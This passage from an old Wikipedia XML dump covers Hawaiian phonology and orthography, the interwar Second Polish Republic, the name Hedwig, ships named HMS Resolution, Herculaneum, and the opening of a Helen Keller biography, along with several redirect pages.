{| class=&quot;wikitable&quot;
! [[Consonant]]s
![[labial consonant|Labial]]
![[alveolar consonant|Alveolar]]
![[velar consonant|Velar]]
![[glottal consonant|Glottal]]
|-
|'''[[stop consonant|Stop]]'''
| align=center | {{IPA|p}}
| &amp;nbsp;
| align=center | {{IPA|k}}
| align=center | {{IPA|ʔ}}
|-
|'''[[nasal consonant|Nasal]]'''
| align=center | {{IPA|m}}
| align=center | {{IPA|n}}
| &amp;nbsp;
| &amp;nbsp;
|-
|'''[[fricative consonant|Fricative]]'''
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| align=center | {{IPA|h}}
|-
|'''[[approximant consonant|Approximant]]'''
| align=center | {{IPA|w}}
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
|-
|'''[[lateral consonant|Lateral approximant]]'''
| &amp;nbsp;
| align=center | {{IPA|l}}
| &amp;nbsp;
| &amp;nbsp;
|}

The phoneme {{IPA|/w/}} has two main [[allophone]]s, {{IPA|[w]}} and {{IPA|[ʋ]}} (a [[labiodental approximant]]). Their distribution is as follows (Elbert and Pukui 1979, 12–13; Pukui and Elbert 1986, xvii):
*After {{IPA|/i/}} and {{IPA|/e/}} usually {{IPA|[ʋ]}}
*After {{IPA|/u/}} and {{IPA|/o/}} usually {{IPA|[w]}}
*After {{IPA|/a/}} and initially, [[free variation]] between the two

===Vowels===
The [[vowel]] phonemes are shown in the following tables:
{|class=&quot;wikitable&quot;
! rowspan=2 | [[Monophthong]]s
! colspan=2 | [[Vowel length|Short]]
! colspan=2 | Long
|-
! [[Front vowel|Front]]
! [[Back vowel|Back]]
! Front
! Back
|-
| '''[[Close vowel|Close]]'''
| align=center | {{IPA|i}}
| align=center | {{IPA|u}}
| align=center | {{IPA|iː}}
| align=center | {{IPA|uː}}
|-
| '''[[Mid vowel|Mid]]'''
| align=center | {{IPA|e}}
| align=center | {{IPA|o}}
| align=center | {{IPA|eː}}
| align=center | {{IPA|oː}}
|-
| '''[[Open vowel|Open]]'''
| colspan=2 align=center | {{IPA|a}}
| colspan=2 align=center | {{IPA|aː}}
|}

{|class=&quot;wikitable&quot;
! [[Diphthong]]s
! Ending with {{IPA|/i/}}
! Ending with {{IPA|/u/}}
! Ending with {{IPA|/e/}}
! Ending with {{IPA|/o/}}
|-
| '''Starting with {{IPA|/i/}}'''
| &amp;nbsp;
| align=center | {{IPA|iu}}
| &amp;nbsp;
| &amp;nbsp;
|-
| '''Starting with {{IPA|/e/}}'''
| align=center | {{IPA|ei}}
| align=center | {{IPA|eu}}
| &amp;nbsp;
| &amp;nbsp;
|-
| '''Starting with {{IPA|/o/}}'''
| align=center | {{IPA|oi}}
| align=center | {{IPA|ou}}
| &amp;nbsp;
| &amp;nbsp;
|-
| '''Starting with {{IPA|/a/}}'''
| align=center | {{IPA|ai}}
| align=center | {{IPA|au}}
| align=center | {{IPA|ae}}
| align=center | {{IPA|ao}}
|}

===Syllable structure===
Hawaiian [[syllable]]s may contain zero or one consonants in the [[syllable onset|onset]]; unlike many languages, Hawaiian syllables with no onset contrast with syllables beginning with the [[glottal stop]]: {{IPA|/alo/}} &quot;front, face&quot; contrasts with {{IPA|/ʔalo/}} &quot;to dodge, evade&quot;. [[Syllable coda|Coda]]s and [[consonant cluster]]s are prohibited.

==Orthography==
Hawaiian is written in a variety of the [[Latin alphabet]], called ''ka {{Unicode|pīʻāpā Hawaiʻi}}'' in Hawaiian.
{| cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; class=&quot;wikitable&quot;
|- align=&quot;center&quot;
! Aa || Ee || Hh || Ii || Kk || Ll || Mm || Nn || Oo || Pp || Uu || Ww || {{Unicode|[[okina|ʻ]]}}
|- align=&quot;center&quot;
| /a/ || /e/ || /h/ || /i/ || /k/ || /l/ || /m/ || /n/ || /o/ || /p/ || /u/ || /w/ || {{IPA|/ʔ/}}
|}
All the letters have their [[International Phonetic Alphabet|IPA]] value, except for '''{{Unicode|ʻ}}''', called ''{{Unicode|[[ʻOkina|ʻokina]]}}'', which is the [[glottal stop]]. Vowel length is marked by a [[macron]] (called ''kahak&amp;#333;'') above the vowel, i.e. '''Āā Ēē Īī Ōō Ūū'''. The macron does not represent [[stress (linguistics)|stress]], although under the rules for assigning stress in Hawaiian, a long vowel will always receive stress.

===The {{Unicode|ʻokina}}===
:''Main article: {{Unicode|[[ʻOkina|ʻokina]]}}''
The {{Unicode|ʻokina}} is officially written as '''{{Unicode|ʻ}}''' with the [[Unicode]] value &amp;amp;#x02bb; (decimal &amp;amp;#699), which although always having the correct appearance is not supported in some fonts/browsers, or alternatively written as an opening single quote '''‘''' with the [[Unicode]] value &amp;amp;#x2018; (decimal &amp;amp;#8216;), which appears either as a left-leaning quote or a quote with greater thickness at the bottom than at the top.

For examples of use of the ''{{Unicode|ʻokina}}'' consider the word &quot;{{Unicode|[[Hawaii|Hawaiʻi]]}}&quot;, or &quot;{{Unicode|[[Oahu|Oʻahu]]}}&quot; (often simply &quot;Hawaii&quot; and &quot;Oahu&quot; outside [[Hawaiian English]]). The words are actually pronounced (using [[International Phonetic Alphabet|IPA]]): {{IPA|/ha.ˈʋai.ʔi/}} and {{IPA|/o.ˈʔa.hu/}}, with a [[glottal stop]] where the {{Unicode|ʻokina}} is written.

==See also==
*The [[Wiktionary:Category:Hawaiian language|list of Hawaiian words]] and [[Wiktionary:Category:Hawaiian derivations|list of words of Hawaiian origin]] at [[Wiktionary]], the free dictionary and Wikipedia's sibling project
*[[Languages in the United States]]

==References==
* {{cite book | last = Elbert | first =  Samuel H. | coauthors =  Mary Kawena Pukui | title = Hawaiian Grammar | location = Honolulu | publisher =  University of {{Unicode | Hawaiʻi }} Press | Year = 1979 | ID = ISBN 0824816374 }}
* {{cite book | last = Pukui | first =  Mary Kawena | coauthors =  Samuel H. Elbert | title = Hawaiian Dictionary | location = Honolulu | publisher =  University of {{Unicode | Hawaiʻi }} Press | Year = 1986 | ID = ISBN 0-8248-0703-0 }}
* {{cite book | last = Schutz | first =  Albert J. | title = The Voices of Eden: A History of Hawaiian Language Studies | location = Honolulu | publisher =  University of {{Unicode | Hawaiʻi }} Press | Year = 1994 | ID = ISBN 0-8248-1637-4 }}

==External links==
{{InterWiki|code=haw}}
*[http://ulukau.org/english.php Ulukau - the Hawaiian electronic library]
*[http://wehewehe.org/cgi-bin/hdict?e=q-0hdict--00-0-0--010---4----den--0-000l--1haw-Zz-1---Zz-1-home---00031-0000escapewin-00&amp;d=&amp;l=en Hawaiian Dictionary]
*[http://ask.yahoo.com/ask/20011204.html/ Ask Yahoo!: How many people still speak Hawaiian?]
*[http://www.ethnologue.com/show_language.asp?code=haw Ethnologue report for Hawaiian]
*[http://www.geocities.com/~olelo/ The Hawaiian Language Website]
*[http://home.attbi.com/~pgdt/Phonology/austro.html Information and a resource link on Hawaiian.]
*[http://www.olelo.hawaii.edu/dual/orgs/keelikolani/ Ka Haka {{Unicode|ʻUla O Keʻelikōlani}}, College of Hawaiian Language]
*[http://www.omniglot.com/writing/hawaiian.htm Omniglot Hawaiian article]
*[http://ksdl.ksbe.edu/kulaiwi/ Kulaiwi] &amp;mdash; learn Hawaiian through distance learning courses
*[http://www.ahapunanaleo.org/ Aha Punana Leo]
*[http://www.starbulletin.com/kauakukalahale.php/ Kauakukalahale]

[[Category:Hawaiian language| ]]
[[Category:Languages of the United States]]
[[Category:Languages of Oceania]]
[[Category:Polynesian languages]]
[[Category:Marquesic languages]]

[[ca:Hawaià]]
[[da:Hawaiiansk (sprog)]]
[[de:Hawaiianische Sprache]]
[[eo:Havaja lingvo]]
[[es:Idioma hawaiano]]
[[fi:Havaijin kieli]]
[[fr:Langue hawaiienne]]
[[haw:ʻōlelo Hawaiʻi]]
[[ja:ハワイ語]]
[[li:Hawaiïaans]]
[[lt:Havajiečių kalba]]
[[nl:Hawaïaans]]
[[pl:Język hawajski]]
[[pt:Língua havaiana]]
[[simple:Hawaiian language]]
[[sk:Havajčina]]
[[sl:Havajščina]]
[[sm:Gagana faʼa Hawaiʼi]]
[[sv:Hawaiianska]]</text>
    </revision>
  </page>
  <page>
    <title>Homosexuality Causal theories</title>
    <id>14243</id>
    <revision>
      <id>15911809</id>
      <timestamp>2005-05-10T02:15:52Z</timestamp>
      <contributor>
        <username>Beland</username>
        <id>57939</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT[[Sexual_orientation]]</text>
    </revision>
  </page>
  <page>
    <title>Second Polish Republic</title>
    <id>14245</id>
    <revision>
      <id>41604883</id>
      <timestamp>2006-02-28T13:16:42Z</timestamp>
      <contributor>
        <username>Ta bu shi da yu</username>
        <id>75749</id>
      </contributor>
      <comment>Remove copyrighted TIME image. Sorry, fair use does not apply in this instance</comment>
      <text xml:space="preserve">[[Image:Rzeczpospolita 1920.png|thumb|300px|Second Polish Republic 1921-1939]]
The '''Second Polish Republic''' is an unofficial name applied to the [[Republic of Poland]] between [[World War I]] and [[World War II]].

When the borders of the state were fixed in [[1921]], it had an area of 388.6 thousand sq. km. (sixth largest in Europe), and 27.2 million inhabitants according to the census of that year. In [[1939]], just before the outbreak of [[World War II]], it had an estimated 35.1 million inhabitants. A third of these were national minorities (17% [[Ukraine|Ukrainians]] and [[Belarus|Belarusians]],10% [[Jew]]s, 5% [[Germany|Germans]], and 1% percent [[Lithuania]]ns, [[Russia]]ns and [[Czech Republic|Czechs]]).

==History==
{{Template:Polish statehood}}
{{main|History of Poland (1918-1939)}}

Occupied by [[Germany|German]] and [[Austria-Hungary|Austro-Hungarian]] armies in the summer of [[1915]], the formerly Russian-ruled part of what was considered Poland was proclaimed an independent kingdom by the occupying powers on [[November 5]], [[1916]], with a governing Council of State and (from [[October 15]], [[1917]]) a Regency Council (''Rada Regencyjna Królestwa Polskiego'') to administer the country under German auspices pending the election of a king. 

Shortly before the end of [[World War I]], on [[October 7]], [[1918]], the Regency Council dissolved the Council of State and announced its intention to restore Polish independence. With the notable exception of the [[Marxism|Marxist]]-oriented [[Social Democratic Party of the Kingdom of Poland and Lithuania]] (SDKPiL), most political parties supported this move. On [[October 23]] the Council appointed a new government under [[Józef Swierzynski]] and began conscription into the [[Polish Army]].

On [[November 5]], in [[Lublin]], the first [[Soviet of Delegates]] was created. On [[November 6]] the [[Communism|Communists]] announced the creation of a [[Republic of Tarnobrzeg]]. The same day, a Provisional People's Government of the Republic of Poland was created under the Socialist, [[Ignacy Daszynski]].

On [[November 10]], [[Jozef Pilsudski|Józef Piłsudski]], newly freed from imprisonment by the German authorities at [[Magdeburg]], returned to [[Warsaw]].  Next day, due to his popularity and support from most political parties, the [[Regency Council]] appointed Piłsudski [[Commander in Chief of the Polish Armed Forces]]. On [[November 14]] the Council dissolved itself and transferred all its authority to Piłsudski as Chief of State (''Naczelnik Państwa'').

Centers of government that were created in [[Galicia (Central Europe)|Galicia]] (formerly Austrian-ruled southern Poland) included a National Council of the [[Principality of Cieszyn]] (created on November 19??) and a [[Polish Liquidation Committee]] (created on [[October 28]]). Soon afterward, conflict broke out in [[Lviv]] (Polish ''Lwów'') between forces of the [[Military Committee of Ukrainians]] and the Polish [[&quot;Eagles&quot; of Lwów]].

After consultation with Pilsudski, Daszynski's government dissolved itself and a new government was created under [[Jedrzej Moraczewski]]. 

----
[[Image:Powstancy Wlkp.jpg|thumb|250px|left|Soldiers of Greatpolish Army, 1919]]

[[Image:Polish-soviet war 1920 Aftermath of Battle of Warsaw.jpg|thumb|350px|center|Polish soldiers displaying captured Soviet battle flags after the [[Battle of Warsaw (1920)|Battle of Warsaw]].]]

== List of events ==
[[Image:Armoured Car Korfanty 1920.jpg|thumb|150px|righ|Polish [[armoured car]] ''Korfanty'' in 1920 in the Silesian Uprisings]]
[[Image:Roman Dmowski.JPG|thumb|120px|right|Roman Dmowski]]

&lt;!-- [[Image:Rydz Smigly Bulawa1.jpg|180px|right|thumb|[[Edward Rydz-Smigly|Edward Rydz-Śmigły]] receiving the [[Marshal]] [[bulawa|buława]] from [[president of Poland]] [[Ignacy Moscicki|Ignacy Mościcki]]. [[November 10]], [[1936]], [[Warsaw]].]] --&gt;

* Elections to the Sejm: [[January 26]], [[1919]].
* [[Treaty of Versailles]]
* War against the Ukrainians: [[Polish-Ukrainian War]].
* War against the Soviets: [[Polish-Soviet War]]. [[Miracle of the Vistula]]. [[Treaty of Riga]].
* War against the Lithuanians: [[Polish-Lithuanian War]].
* [[Border conflicts between Poland and Czechoslovakia]].
* Uprisings in Wielkopolska and Silesia. [[Great Poland Uprising]], [[Silesian Uprisings]].
* [[July 15]], [[1920]] - Agrarian Reform.
* [[March 17]], [[1921]] - [[March Constitution]].
* 1921 - alliances with [[France]], [[Romania]].
* Election to Sejm and Senat - [[November]] [[1922]].
* President [[Gabriel Narutowicz]], and his assassination ([[December 16]], [[1922]]).
* 1924 - [[Wladyslaw Grabski]] Government. [[Bank Polski]]. Monetary reform.
* President Wojciechowski - [[December 20]], [[1922]], to [[Zamach majowy]].
* [[Coup of May]] - ''Zamach majowy'', 1926, May, Józef Piłsudski [[coup d'etat]] ([[May Coup]]). beginning of [[Sanacja]] government.
* [[Roman Dmowski]], [[Obóz Wielkiej Polski]] ([[4 December]] 1926), [[Endecja]].
* [[16 November]] [[1930]] - wybory brzeskie (elections
* [[25 July]] [[1932]] - [[Soviet-Polish Non-Aggression Pact|non-aggression pact with Soviet Union]]
* [[26 January]] [[1934]] - [[German-Polish Non-Aggression Pact|non-aggression pact with Germany]]
* [[14 April]] [[1934]] - [[Obóz Narodowo-Radykalny]]
* [[23 April]] [[1935]] - [[April Constitution]]
* [[12 May]] [[1935]] - death of Józef Piłsudski
* [[Gdynia]], [[Centralny Okreg Przemyslowy]] (1936), [[Eugeniusz Kwiatkowski]]
* [[2 February]] [[1937]] - Obóz Zjednoczenia Narodowego
* [[2 January]] [[1939]] - death of Roman Dmowski
* [[31 March]] [[1939]] - military guarantees from United Kingdom and France
* [[23 August]] [[1939]] - [[non-aggression pact]] between Soviet Union and Germany: [[Ribbentrop-Molotow Pact]] with a secret [[military alliance]] protocol targeting Poland (among several other countries)
* [[25 August]] [[1939]] - alliance between Poland and United Kingdom

== World War II ==
[[Image:WWII Poland Invasion 1939-09-01.jpg|thumb|right|200px|German soldiers destroying Polish border checkpoint on 1 September ]]

The &quot;[[Polish September Campaign]]&quot; campaign began 1 September 1939, one week after the signing of the secret Molotov-Ribbentrop Pact, and ended 6 October 1939, with Germany and the Soviet Union occupying the entirety of Poland. 

This first part of the [[Second World War]] put an end to the Second Polish Republic. 


It was continued as [[Polish Government in Exile]].


== Politics and government ==

== Economy ==
** The destruction during WWI and War of 1920
** Struggle for Silesia
** post-war Crisis
** reconstruction
** Toll wars with Germany, Danzig and Czechoslovakia
** 4-years plan and 5-years plans
** Gdynia and the merchant navy
** COP, SOP, D&amp;#261;browa, Silesia...
** Railway
** Export and import: what, where, how
** Great Crisis
** Kwiatkowski and Grabski
** Perspectives for the 1940's

== Demographics ==
** Demographic changes during the WWI (Russians leaving in 1915, Germans after 1918)
** Demography in relation to [[Silesian Uprisings]] and [[Greater Poland Uprising]]
** Minorities in Poland 1921-1931
** Belorussians and [[Poleszuk]]s
** Ukrainians, Ruthenians and the case of Ukrainian self-government
** German minority
** White Russians (not Belorussians!), Georgians, &quot;Polak z wyboru&quot; phenomenon (generals being a good example), other small groups

== Culture ==

== Geography and demographics ==
{{main|Voivodships of Poland}}
[[Image:Poland administrative division 1922 literki.png|thumb|right|295px|Polish voivodships 1922-1939]]

&amp;nbsp;
{||style=&quot;empty-cells: show; border: solid 1px;border-collapse:collapse;text-align:center;&quot; border=1 width=&quot;500px&quot;
|----- bgcolor=&quot;#efefef&quot;
| colspan=6 align=&quot;center&quot; | '''Polish voivodships in the interbellum &lt;br&gt;(data as per [[April 1]], [[1937]])'''
|- style=&quot;background:#efefef&quot; align=&quot;center&quot;
! [[car plates]]&lt;br&gt; (since 1937)
! Voivodship&lt;Br&gt; Separate city
! Capital
! Area&lt;br&gt;in 1000 km² (1930)
! Population &lt;Br&gt;in 1000 (1931)
|-
| 00-19
| align=&quot;left&quot;| City of [[Warsaw]]
| align=&quot;left&quot;| Warsaw
| 0,14
| 1179,5
|-
| 85-89
| align=&quot;left&quot;| [[Warsaw Voivodship|warszawskie]]
| align=&quot;left&quot;| [[Warsaw]]
| 31,7
| 2460,9
|-
| 20-24
| align=&quot;left&quot;| [[Bialystok Voivodship|białostockie]]
| align=&quot;left&quot;| [[Bialystok|Białystok]]
| 26,0
| 1263,3
|-
| 25-29
| align=&quot;left&quot;| [[Kielce Voivodship|kieleckie]]
| align=&quot;left&quot;| [[Kielce]]
| 22,2
| 2671,0
|-
| 30-34
| align=&quot;left&quot;| [[Kraków Voivodship|krakowskie]]
| align=&quot;left&quot;| [[Kraków]]
| 17,6
| 2300,1
|-
| 35-39
| align=&quot;left&quot;| [[Lublin Voivodship|lubelskie]]
| align=&quot;left&quot;| [[Lublin]]
| 26,6
| 2116,2
|-
| 40-44
| align=&quot;left&quot;| [[Lwów Voivodship|lwowskie]]
| align=&quot;left&quot;| [[Lwów]]
| 28,4
| 3126,3
|-
| 45-49
| align=&quot;left&quot;| [[Łódź Voivodship|łódzkie]]
| align=&quot;left&quot;| [[Łódź]]
| 20,4
| 2650,1
|-
| 50-54
| align=&quot;left&quot;| [[Nowogródek Voivodship|nowogródzkie]]
| align=&quot;left&quot;| [[Nowogródek]]
| 23,0
| 1057,2
|-
| 55-59
| align=&quot;left&quot;| [[Polesie Voivodship|poleskie]]
| align=&quot;left&quot;| [[Brest-Litovsk|Brześć nad Bugiem]]
| 36,7
| 1132,2
|-
| 60-64
| align=&quot;left&quot;| [[Pomeranian Voivodship|pomorskie]]
| align=&quot;left&quot;| [[Torun|Toruń]]
| 25,7
| 1884,4
|-
| 65-69
| align=&quot;left&quot;| [[Poznan Voivodship|poznańskie]]
| align=&quot;left&quot;| [[Poznan|Poznań]]
| 28,1
| 2339,6
|-
| 70-74
| align=&quot;left&quot;| [[Stanislawow Voivodship|stanisławowskie]]
| align=&quot;left&quot;| [[Stanislawow|Stanisławów]]
| 16,9
| 1480,3
|-
| 75-79 ?
| align=&quot;left&quot;| [[Silesian Voivodship|śląskie]]
| align=&quot;left&quot;| [[Katowice]]
| 5,1
| 1533,5
|-
| 80-84
| align=&quot;left&quot;| [[Tarnopol Voivodship|tarnopolskie]]
| align=&quot;left&quot;| [[Tarnopol]]
| 16,5
| 1600,4
|-
| 90-94
| align=&quot;left&quot;| [[Wilno Voivodship|wileńskie]]
| align=&quot;left&quot;| [[Wilno]]
| 29,0
| 1276,0
|-
| 95-99
| align=&quot;left&quot;| [[Volhynian Voivodship|wołyńskie]]
| align=&quot;left&quot;| [[Lutsk|Łuck]]
| 35,7
| 2085,6
|-
|}
&lt;br clear=&quot;all&quot; /&gt;

==See also==
* [[History of Poland (1939-1945)]]
*[[Polish culture in the Interbellum]]

==References==
{{unreferenced}}

[[Category:Former countries in Europe|Poland]]
[[Category:History of Poland (1918–1939)]]

[[et:II Rzeczpospolita]]
[[he:היסטוריה של פולין: הרפובליקה השנייה]]
[[no:Andre polske republikk]]
[[pl:II Rzeczpospolita]]
[[pt:Segunda República Polaca]]
[[ro:A doua Republică Poloneză]]</text>
    </revision>
  </page>
  <page>
    <title>Hedwig</title>
    <id>14246</id>
    <revision>
      <id>30973163</id>
      <timestamp>2005-12-11T22:14:06Z</timestamp>
      <contributor>
        <username>Carioca</username>
        <id>142035</id>
      </contributor>
      <minor />
      <comment>dab</comment>
      <text xml:space="preserve">'''Hedwig''' is a [[German language|German]] female given name. The name originates from old German (''hadu'' = battle, ''wig'' = fight). The [[Polish language|Polish]] version of the name is [[Jadwiga]].

Famous Hedwigs:

*[[Hedwig of Black Ruthenia]] (+ after [[1 December]] [[1405]]), [[Princess]] of [[Pomerania]], possible daughter of [[Towtiwil]], m. [[1397]]/[[1398]] [[Prince]] [[Barnim V of Pomerania]]
* Saint [[Jadwiga of Poland|Hedwig/Jadwiga]], Queen of [[Poland]]
* Saint [[Hedwig of Andechs]], Duchess of [[Silesia]]
* [[Hedy Lamarr]] (1913-2000), actress and communications innovator.
* [[Hedwig (Harry Potter)|Hedwig]], [[Harry Potter (character)|Harry Potter's]] messenger [[owl]] in the novels by [[J. K. Rowling]]
* The title character from the [[musical theater|musical]] and [[film]] ''[[Hedwig and the Angry Inch]]''
* [[Hedwig Village, Texas]], named for nearby Hedwig Road, built on land donated by [[Hedwig Jankowski Schroeder]], an [[Germany|German]] immigrant.

{{dab}}
[[cs:Hedvika]]
[[de:Hedwig]]
[[pl:Jadwiga]]</text>
    </revision>
  </page>
  <page>
    <title>Hume Dam</title>
    <id>14247</id>
    <revision>
      <id>34051741</id>
      <timestamp>2006-01-06T01:36:17Z</timestamp>
      <contributor>
        <username>Mdhowe</username>
        <id>99425</id>
      </contributor>
      <comment>merge with Lake Hume</comment>
      <text xml:space="preserve">#REDIRECT [[Lake Hume]]</text>
    </revision>
  </page>
  <page>
    <title>Hooligans</title>
    <id>14248</id>
    <revision>
      <id>15911814</id>
      <timestamp>2002-06-16T15:30:42Z</timestamp>
      <contributor>
        <ip>195.149.37.217</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[hooliganism]]
</text>
    </revision>
  </page>
  <page>
    <title>HMS Resolution</title>
    <id>14251</id>
    <revision>
      <id>41050305</id>
      <timestamp>2006-02-24T19:02:21Z</timestamp>
      <contributor>
        <username>KocjoBot</username>
        <id>467651</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sl</comment>
      <text xml:space="preserve">[[Image:Van de Velde, Resolution in a Gale.jpg|thumb|200px|''Resolution in a gale'' by [[Willem van de Velde, the younger]] depicts the second ''Resolution'' c. 1678]]
Twelve ships of the [[Royal Navy]] have borne the name '''HMS ''Resolution''''':

* The first [[Tredagh|''Resolution'']] was the ''Tredagh'', launched in [[1653]], of 66 cannon, renamed ''Resolution'' in [[1660]] and destroyed after grounding by a Dutch [[fireship]] in the [[St James's Day Battle]] on 4 August [[1666]].
* The second [[HMS Resolution (1667)|''Resolution'']] was a 70-gun [[third-rate]] launched in [[1667]], rebuilt [[1698]], and foundered in [[1703]].
* The third [[HMS Resolution (1705)|''Resolution'']] was a 70-gun [[third-rate]] launched in [[1705]] but run ashore to avoid capture in [[1707]].
* The fourth [[HMS Resolution (1708)|''Resolution'']] was a 70-gun [[third-rate]] launched in [[1708]] and wrecked [[1711]].
* The fifth [[HMS Resolution (1758)|''Resolution'']] was a 74-gun [[third-rate]] launched in [[1758]] but run aground and lost a year later at the [[battle of Quiberon Bay]].
* The sixth [[HMS Resolution (1770)|''Resolution'']] was a 74-gun [[third-rate]] launched in [[1770]] and broken up in [[1813]].
* The seventh [[HMS Resolution (Cook)|''Resolution'']] was the vessel of Captain [[James Cook]] in his explorations.
* The eighth [[HMS Resolution (1779)|''Resolution'']] was a [[cutter]] purchased in [[1779]] and foundered [[1797]].
* The ninth [[HMS Resolution (1892)|''Resolution'']] was a [[battleship]] in service from [[1892]] to [[1914]].
* The tenth [[HMS Resolution (1915)|''Resolution'']] was a [[battleship]] in service from [[1915]] to [[1944]].
* The eleventh [[HMS Resolution (S22)|''Resolution'' (S22)]] was the [[lead ship]] of the [[Resolution class submarine|''Resolution''-class]] [[ballistic missile]] [[submarine]]s.
* The twelfth [[HMS Resolution (1989)|''Resolution'']] is a [[survey ship]] transferred to the [[Royal New Zealand Navy]] in [[1996]].

==References==
*{{Colledge}}
{{shipindex}}
[[Category:Royal Navy ship names|Resolution]]

[[sl:HMS Resolution]]</text>
    </revision>
  </page>
  <page>
    <title>How to edit a page</title>
    <id>14252</id>
    <revision>
      <id>15911818</id>
      <timestamp>2004-01-13T17:44:39Z</timestamp>
      <contributor>
        <ip>216.191.172.18</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Wikipedia:How_to_edit_a_page]]</text>
    </revision>
  </page>
  <page>
    <title>Herculaneum</title>
    <id>14253</id>
    <revision>
      <id>41148261</id>
      <timestamp>2006-02-25T09:51:10Z</timestamp>
      <contributor>
        <username>Unyoyega</username>
        <id>460372</id>
      </contributor>
      <minor />
      <comment>fixing interwikis  +: gl</comment>
      <text xml:space="preserve">[[Image:Ercolano0 Copyright2003KaihsuTai.jpg|right|300px]]
'''Herculaneum''' (in modern [[Italian language|Italian]] formerly ''Resina'', but since 1969 ''Ercolano'') was an ancient [[Roman Empire|Roman]] town of the [[Italy|Italian]] region of [[Campania]]. It is today most famous for having been preserved, along with [[Pompeii]], in the eruption of [[Mount Vesuvius]] beginning on [[August 24]], A.D. [[79]] that destroyed the towns, burying them in superheated pyroclastic material that has solidified into volcanic tufa. The [[pyroclastic flow]] instantly killed all residents who had not escaped before it struck.  In contrast to Pompeii, the bodies of those killed at Herculaneum are not preserved in casts; however, hundreds of skeletons have been discovered, mostly on what was once the ancient beach.  Herculaneum was a smaller town with a wealthier population than Pompeii at the time of its destruction.

Excavation began at modern Ercolano, a suburb of [[Naples]], in [[1738]]. The elaborate publication of [http://www.picure.l.u-tokyo.ac.jp/arc/ercolano/index.html ''Le Antichità di Ercolano'' (&quot;The Antiquities of Herculaneum&quot;)] under the patronage of the [[Charles III of Spain|King of the Two Sicilies]] had an effect on incipient European [[Neoclassicism]] out of all proportion to its limited circulation; in the later 18th century, motifs from Herculaneum began to appear on stylish furnishings from decorative wall-paintings and tripod tables to perfume burners and teacups.

[[Image:Ercolano1 Copyright2003KaihsuTai.jpg|left|thumb|250px|Fresco in the 'college of the Augustans', depicting the myth of Hercules, the cult dedicated to the imperial household.]]

The first major discovery of [[1st century]] A.D. Roman skeletal materials took place in Herculaneum.  Because the Romans generally practised cremation into the [[3rd century]], very little skeletal material remains for study.  Excavation during the [[1990s]] in the port area of Herculaneum turned up the skeletons of more than 200 individuals of varied age, sex, and class.

[[Image:Ercolano2 Copyright2003KaihsuTai.jpg|right|thumb|250px|The well-preserved paintings and mosaics in Herculaneum.]]


The most famous of the luxurious villas at Herculaneum is the '[[Villa of the Papyri]]' now identified as the magnificent seafront retreat for [[Lucius Calpurnius Piso Caesoninus]], [[Julius Caesar]]'s father-in-law. It stretches down towards the sea in four terraces. Piso, a literate man who patronized poets and philosophers, built there a fine library, the only one to survive intact from antiquity. Scrolls from the villa are stored at the [[National Library, Naples]]. The scrolls are badly carbonized, but a large number have been unrolled, with varying degrees of success. Computer-enhanced [http://www.memagazine.org/backissues/apr02/departments/input_output/input_out.html multi-spectral imaging], in the infra-red range, helps make the ink legible.  There is now a real prospect that it will be possible to read the unopened scrolls using X-rays.[http://www.research.uky.edu/odyssey/fall04/seales.html]  The same techniques could be applied to the scrolls waiting to be discovered in the as yet unexcavated part of the villa, removing the need for potentially damaging unrolling to be carried out.


==External links==
[[Image:Ring_Lady.JPG|left|thumb|150px|The skeleton called the &quot;Ring Lady&quot; unearthed in Herculaneum.]]
{{Commons|Ercolano}}
*[http://www.herculaneum.ox.ac.uk The Friends of Herculaneum Society]
*[http://www.romanherculaneum.com Herculaneum: Destruction and Re-discovery]
*[http://www2.pompeiisites.org/ The local archaeological authorities]
*[http://www.humnet.ucla.edu/humnet/classics/philodemus/philhome.htm The Philodemus Project will publish Philodemus' works on poetry and on rhetoric.]
*[http://magazine.byu.edu/article.tpl?num=44-Spr01 Brigham Young University: Herculaneum Scrolls]

[[Category:Roman sites of Campania]]
[[Category:Archaeological sites in Italy]]
[[Category:Destroyed cities|Herculaneum]]

[[da:Herculaneum]]
[[de:Herculaneum]]
[[es:Herculano]]
[[eo:Ercolano]]
[[fr:Herculanum]]
[[gl:Herculano]]
[[it:Ercolano]]
[[la:Herculaneum]]
[[nap:Ercolano]]
[[nl:Herculaneum]]
[[ja:エルコラーノ]]
[[no:Herculaneum]]
[[pl:Herkulanum]]
[[pt:Herculano]]
[[sk:Herculaneum]]
[[fi:Herculaneum]]
[[sv:Herculaneum]]
[[tr:Herkulaneum]]</text>
    </revision>
  </page>
  <page>
    <title>Helen Keller</title>
    <id>14254</id>
    <revision>
      <id>41996787</id>
      <timestamp>2006-03-03T02:57:11Z</timestamp>
      <contributor>
        <username>Orion Minor</username>
        <id>693023</id>
      </contributor>
      <comment>rv, vandalism</comment>
      <text xml:space="preserve">{{Infobox_Biography
|subject_name=Helen Adams Keller
|image_name=Helen Keller.jpg
|image_caption= Deaf-blind American author, activist, and lecturer
|date_of_birth=[[June 27]], [[1880]]
|place_of_birth=[[Tuscumbia, Alabama|Tuscumbia]], [[Alabama]], [[United States|USA]]
|dead=dead
|date_of_death=[[June 1]], [[1968]]
|place_of_death=[[Easton, Connecticut|Easton]], [[Connecticut]], [[United States|USA]]}}

''' Helen Adams Keller ''' ([[June 27]], [[1880]] &amp;ndash; [[June 1]], [[1968]]) was a [[deafblind]] [[United States|American]] [[author]], [[activist]] and [[lecturer]]. 

Helen Keller was born in [[Tuscumbia, Alabama|Tuscumbia]], [[Alabama]]. Her [[disabilities]] were caused by a [[fever]] in February, 1882 when she was 19 months old. Her loss of ability to [[communicate]] at such an early developmental age was very traumatic for her and her family.

==Biography==

===Childhood===
Keller was born at an estate called Ivy Green, on [[June 27]], [[1880]], to parents [[Captain Arthur H. Keller]] and Kate Adams Keller. She was not born blind and deaf, but was actually a typical, healthy infant. It was not until nineteen months later that she came down with an illness that the doctors described as &quot;an acute congestion of the stomach and the brain&quot; which could have possibly been [[scarlet fever]] or [[meningitis]]. The illness did not last for a particularly long time, but it left her blind, deaf, and unable to speak. By age seven she had invented over sixty different signs that she could use to communicate with her family. 

